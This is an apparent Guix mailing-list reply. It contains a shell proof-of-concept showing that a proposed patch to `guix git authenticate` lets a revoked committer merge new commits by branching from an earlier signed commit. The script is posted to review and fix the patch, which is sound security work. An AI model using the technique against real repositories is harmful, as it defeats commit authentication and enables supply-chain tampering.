Hi Tomas!

Tomas Volf <~@wolfsden.cz> writes:

> Hello,
>
> thank you so much for actually reading this (and the script) and writing
> back.  It always give me warm feelings when the bottomless abyss called
> Guix mailing list responds. :)

I know the feeling ^_^

[...]
> The intention in the code is to use the parents of M (so I, U) and do
> an union instead of an intersection of keys valid in both parents.
> 
>> I was hoping that maybe it's actually OK to do this, as you suggested;
>> but unfortunately I thought of a problem - it would mean that once
>> someone has a single signed commit in the Guix repo, their ability to
>> make authenticated commits can never be revoked. Even if their key is
>> removed from .guix_authorizations, their key will always make it into
>> the set of valid keys via `authenticated-commits`. There are probably
>> more possible attacks.
>
> Were you actually able to demonstrate this attack?  I did quick test and
> was not able to reproduce.
[...]
> It would be great if you are able to demonstrate that this attack is
> possible.  It would allow me to correct my understanding and fix the
> code.

I have included below a script that demonstrates an attack on `guix git
authenticate` that only works with your patch.

It's not the same attack as what I outlined above; I think that one
would depend on the implementation details of your patch (if it's even
viable at all; I haven't tested).

Rather, the attack I demonstrate below should work as long as the core
idea of your patch ("union instead of an intersection of keys valid in
both parents") is implemented.

You should be able to run it once you change the values of GUIX and
REPO.

--8<---------------cut here---------------start------------->8---
#!/bin/sh
### Copyright (C) 2025 45mg <45mg.wri...@gmail.com>
### SPDX-License-Identifier: AGPL-3.0-only

# This script demonstrates an attack on `guix git authenticate` when it is built
# with Tomas Volf's patch:
# 
https://git.wolfsden.cz/guix/tree/etc/0001-git-authenticate-Trust-all-keys-from-already-authent.patch

# It allows a key that was previously authorized and then removed to get new
# commits into the master branch.

# Here is an outline of the attack:
# - A, who is a trusted committer, creates the repo and adds a commit that will
#   serve as the channel introduction.
# - A then adds B as a committer, and B makes an authenticated commit on the
#   master branch.
# - A then removes B as a committer. B should not be able to get any commits
#   into master from here on.
# - B creates a branch starting from their authenticated commit, adds a
#   malicious commit to it, and merges their branch into master.

# Since Tomas's patch considers the union of parent keys as valid, rather than
# the intersection, this attack works - all commits made are considered
# authenticated.

GUIX='path/to/patched-guix-clone/pre-inst-env guix'
REPO=wherever/we/should/create/the/guix-auth-attack-repo

# Make sure you're using Guix built with Tomas Volf's patch.
$GUIX --version


### Create test keys
# Create a temporary substitute for ~/.gnupg
export GNUPGHOME=/tmp/guix-auth-attack-gnupg/
rm -rf $GNUPGHOME
mkdir -p $GNUPGHOME
# gpg expects correct perms
chmod 700 $GNUPGHOME
chown $(whoami) $GNUPGHOME
# Generate the keys
gpg --batch --gen-key <<EOF
%echo Generating A's OpenPGP key...
Key-Type: default
Name-Real: A
%no-protection
%commit
%echo done.
%echo Generating B's OpenPGP key...
Key-Type: default
Name-Real: B
%no-protection
%commit
%echo done.
EOF
# Get the key fingerprints
KEY_A=$(gpg --with-colons --list-keys --with-fingerprint A | awk -F: '$1 == 
"fpr" {print $10;}')
KEY_B=$(gpg --with-colons --list-keys --with-fingerprint B | awk -F: '$1 == 
"fpr" {print $10;}')


### Demonstrate the attack

#### A sets up the repo
# Init the repo.
rm -rf $REPO
mkdir -p $REPO
cd $REPO
git init
# Create the keyring branch, and add A and B's keys.
git switch --orphan keyring
git config user.name A
git config user.email a...@no.mail
gpg --armor --export -o A-"${KEY_A::8}".key "$KEY_A"
gpg --armor --export -o B-"${KEY_B::8}".key "$KEY_B"
git add -- A-"${KEY_A::8}".key B-"${KEY_B::8}".key
git commit -m "Add keys for A and B."
# Create the initial commit, which will be the channel introduction.
# It will be signed with A's key.
git switch --orphan master
cat > .guix-authorizations <<EOF
(authorizations
 (version 0)
 (("$KEY_A"
   (name "A"))))
EOF
git add -- .guix-authorizations
git config commit.gpgsign true
git config user.signingkey $KEY_A
git commit -m "Initial commit and channel introduction."
INIT_COMMIT=$(git rev-parse HEAD)


#### A authorizes B
cat > .guix-authorizations <<EOF
(authorizations
 (version 0)
 (("$KEY_A"
   (name "A"))
  ("$KEY_B"
   (name "B"))))
EOF
git add -- .guix-authorizations
git commit -m "Authorize B."


#### B creates a branch and merges it
git config user.name B
git config user.email b...@no.mail
git config user.signingkey $KEY_B
git switch --create to-merge
touch b-file
git add -- b-file
git commit -m "Add b-file."
B_COMMIT=$(git rev-parse HEAD)
git switch master
git merge to-merge -m "Merge to-merge."


#### A removes B's authorization
git config user.name A
git config user.email a...@no.mail
git config user.signingkey $KEY_A
cat > .guix-authorizations <<EOF
(authorizations
 (version 0)
 (("$KEY_A"
   (name "A"))))
EOF
git add -- .guix-authorizations
git commit -m "Remove B's authorization."


#### The attack
# B creates a branch starting from their signed commit, adds a malicious commit,
# and merges it into master!
git config user.name B
git config user.email b...@no.mail
git config user.signingkey $KEY_B
git switch --create malicious $B_COMMIT
touch malicious-file
git add -- malicious-file
git commit -m "Add malicious file."
git switch master
git merge malicious -m "Merge malicious."


#### `guix git authenticate` to show that the attack works
$GUIX git authenticate $INIT_COMMIT "$KEY_A"
# If you set $GUIX to a guix executable built without Tomas's patch, the attack
# will fail.
--8<---------------cut here---------------end--------------->8---


[...]
> My cynical take is that this is the very reason this issue is not taken
> seriously.  For all "people in charge" it works, even in private forks.

Well, it could also be that many of them didn't read this far into the
thread; since the title doesn't really indicate that you found a
fundamental flaw in `guix git authenticate`, they might not have seen
any reason to pay attention.

At any rate - we shall see ;)

Reply via email to